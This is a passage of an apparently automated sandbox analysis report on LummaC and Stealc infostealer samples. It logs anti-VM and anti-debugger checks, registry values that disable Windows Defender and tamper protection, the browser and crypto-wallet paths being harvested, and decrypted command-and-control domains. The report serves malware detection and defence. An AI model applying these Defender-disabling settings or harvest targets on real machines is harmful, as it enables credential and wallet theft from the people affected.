Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Code function: 16_2_00EDF83E rdtsc

16_2_00EDF83E

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Code function: 16_2_00EF3ADD sidt fword ptr [esp-02h]

16_2_00EF3ADD

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe TID: 5376	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe TID: 3164	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe TID: 5776	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe TID: 3412	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe TID: 6112	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe TID: 7208	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: JKGP0UT4QWTEFN0LA50.exe, 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmp, CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2741931188.00000000013A2000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Qmg24kMXxU.exe, 00000002.00000003.2403876141.000000000545F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTY+
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D6D000.00000004.00000020.00020000.00000000.sdmp, CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.0000000001700000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.000000000549A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.000000000168E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: JKGP0UT4QWTEFN0LA50.exe, 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmp, CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2741931188.00000000013A2000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Qmg24kMXxU.exe, 00000002.00000003.2346652392.0000000005495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Code function: 16_2_00EE19E9 Start: 00EE1A38 End: 00EE1A41

16_2_00EE19E9

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Code function: 16_2_00EDF83E rdtsc

16_2_00EDF83E

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Code function: 16_2_00EF3E6F LdrInitializeThunk,

16_2_00EF3E6F

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe PID: 7324, type: MEMORYSTR

LummaC encrypted strings found

Source: Qmg24kMXxU.exe, 00000002.00000003.2248788611.0000000004950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: Qmg24kMXxU.exe, 00000002.00000003.2248788611.0000000004950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: Qmg24kMXxU.exe, 00000002.00000003.2248788611.0000000004950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: Qmg24kMXxU.exe, 00000002.00000003.2248788611.0000000004950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: Qmg24kMXxU.exe, 00000002.00000003.2248788611.0000000004950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: Qmg24kMXxU.exe, 00000002.00000003.2248788611.0000000004950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: Qmg24kMXxU.exe, 00000002.00000003.2248788611.0000000004950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: Qmg24kMXxU.exe, 00000002.00000003.2248788611.0000000004950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: Qmg24kMXxU.exe, 00000002.00000003.2248788611.0000000004950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: JKGP0UT4QWTEFN0LA50.exe, 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Program Manager
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2742703810.00000000013E5000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 0Program Manager

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: Qmg24kMXxU.exe, Qmg24kMXxU.exe, 00000002.00000003.2487926346.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2489587375.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2502304319.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2548072674.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Qmg24kMXxU.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000011.00000003.2697183057.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2744770047.000000000168E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2740775747.0000000000FC1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Qmg24kMXxU.exe, 00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: x\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m]
Source: Qmg24kMXxU.exe, 00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0,"fs":209715}
Source: Qmg24kMXxU.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: Qmg24kMXxU.exe, 00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.lib
Source: Qmg24kMXxU.exe, 00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","
Source: Qmg24kMXxU.exe	String found in binary or memory: Wallets/Exodus
Source: Qmg24kMXxU.exe, 00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","
Source: Qmg24kMXxU.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Qmg24kMXxU.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
